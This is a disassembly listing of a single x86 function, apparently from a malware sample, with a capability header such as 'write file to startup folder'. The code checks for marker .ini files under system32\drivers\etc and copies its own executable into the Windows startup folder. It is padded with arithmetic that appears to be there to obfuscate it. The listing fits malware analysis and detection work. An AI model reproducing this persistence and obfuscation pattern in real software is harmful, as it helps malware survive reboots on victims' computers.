Function at 0x40b2d0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x456820]
mov dword [esp + 0x300], eax
push esi
mov esi, ecx
imul esi, esi, 0xd606
mov eax, 0x2760f26d
imul ecx
mov ecx, dword [0x45681c]
sar edx, 0xd
add esi, edx
push edi
mov edi, edx
mov eax, 0x6aa0ab9b
imul ecx
mov ecx, dword [0x45682c]
sar edx, 0xf
imul ecx, ecx, 0xb323
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x801a
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x456828]
add edi, edx
mov eax, 0x4b226983
imul ecx
mov esi, ecx
sar edx, 0xe
imul esi, esi, 0xda10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4c8d67b3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0xd308
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x2760f26d
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x45682c], edi
mov dword [0x456834], esi
call fcn.0042a61d
add esp, 8
cmp eax, 0xffffffff
je 0x40b7a2
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a61d
add esp, 8
cmp eax, 0xffffffff
je 0x40b7a2
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x955f5465
imul esi, esi, 0xd606
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0xb323
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x2dbafdc3
imul ecx
mov ecx, dword [0x456820]
sar edx, 0xd
mov esi, edx
add edi, edx
mov eax, 0x7fe60547
imul ecx
sar edx, 0xe
shr esi, 0x1f
mov eax, edx
push 0x104
add esi, edi
lea ecx, [esp + 0x20c]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x456818], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x208]
push 0x5c
push edx
call fcn.0042b090
mov esi, eax
push str..tmp
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
inc esi
call fcn.0042a281
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x2760f26d
imul edi, edi, 0xd008
imul ecx
mov ecx, dword [0x456818]
sar edx, 0xd
imul ecx, ecx, 0x13350
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456820]
mov eax, 0xc0e2caa9
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x456834]
push 0
push 0x18
lea ecx, [esp + 0x110]
sub edi, eax
push ecx
sub edi, 0xb323
push 0
mov dword [0x456820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b500
push ebx
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x114]
push 0x4471a8
push edx
call fcn.0042a281
mov esi, dword [0x456824]
mov edi, dword [0x456838]
mov eax, 0x4b226983
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov ebx, dword [0x45681c]
mov eax, 0x658cf6d9
imul edi
sub edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
sub ebp, ecx
mov eax, 0x2419bc59
imul edi
imul edi, edi, 0xb323
mov ecx, ebx
imul ecx, ecx, 0xd308
add ebp, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub ecx, edi
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x40b5a4
mov ebx, dword [0x45681c]
mov ecx, dword [0x456828]
mov esi, dword [0x456824]
mov edx, dword [0x45682c]
imul esi, esi, 0x7127
imul ecx, ecx, 0x801a
imul edx, edx, 0xb323
sub esi, edx
mov eax, 0xc0e2caa9
imul ebx
add edx, ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea ecx, [esp + 0x10]
push 0
push ecx
mov dword [0x456830], esi
call fcn.0042a61d
add esp, 8
cmp eax, 0xffffffff
je 0x40b5fc
lea edx, [esp + 0x10]
push edx
call ebp
inc edi
cmp edi, 0x64
jl 0x40b592
mov ecx, dword [0x45682c]
mov eax, 0x4da3463f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
mov ecx, eax
imul edx, edx, 0xb323
mov eax, dword [0x456820]
imul eax, eax, 0x5e7
mov esi, dword [esp + 0x318]
sub ecx, edx
sub ecx, eax
mov eax, 0x7fe60547
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
test esi, esi
pop ebp
mov dword [0x456838], ecx
pop ebx
je 0x40b663
cmp esi, 2
jne 0x40b71a
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x10c]
push ecx
lea edx, [esp + 0x10]
push edx
call edi
test eax, eax
jne 0x40b714
mov ecx, dword [0x456824]
mov eax, 0x4b226983
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
mov esi, eax
mov eax, 0x4c8d67b3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0xd429
sub esi, eax
add esi, edx
mov eax, 0x2760f26d
imul ecx
mov ecx, dword [0x456838]
sar edx, 0xd
imul ecx, ecx, 0x38bb
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub esi, eax
lea edx, [esp + 0x10c]
push edx
lea eax, [esp + 0x10]
add esi, ecx
push eax
mov dword [str._r_____r____], esi
call edi
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a0b1
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov eax, 0x4b226983
imul ecx
imul ecx, ecx, 0x38bb
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xd429
add edi, edx
mov edx, dword [0x45681c]
mov eax, 0x4da3463f
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [str._r_____r____]
add eax, edi
sub eax, ecx
sub eax, edx
add eax, 0xa9e2
cmp esi, 1
mov dword [0x45681c], eax
je 0x40b776
cmp esi, 2
jne 0x40b78b
push 0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a0b1
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a0b1
add esp, 0x304
ret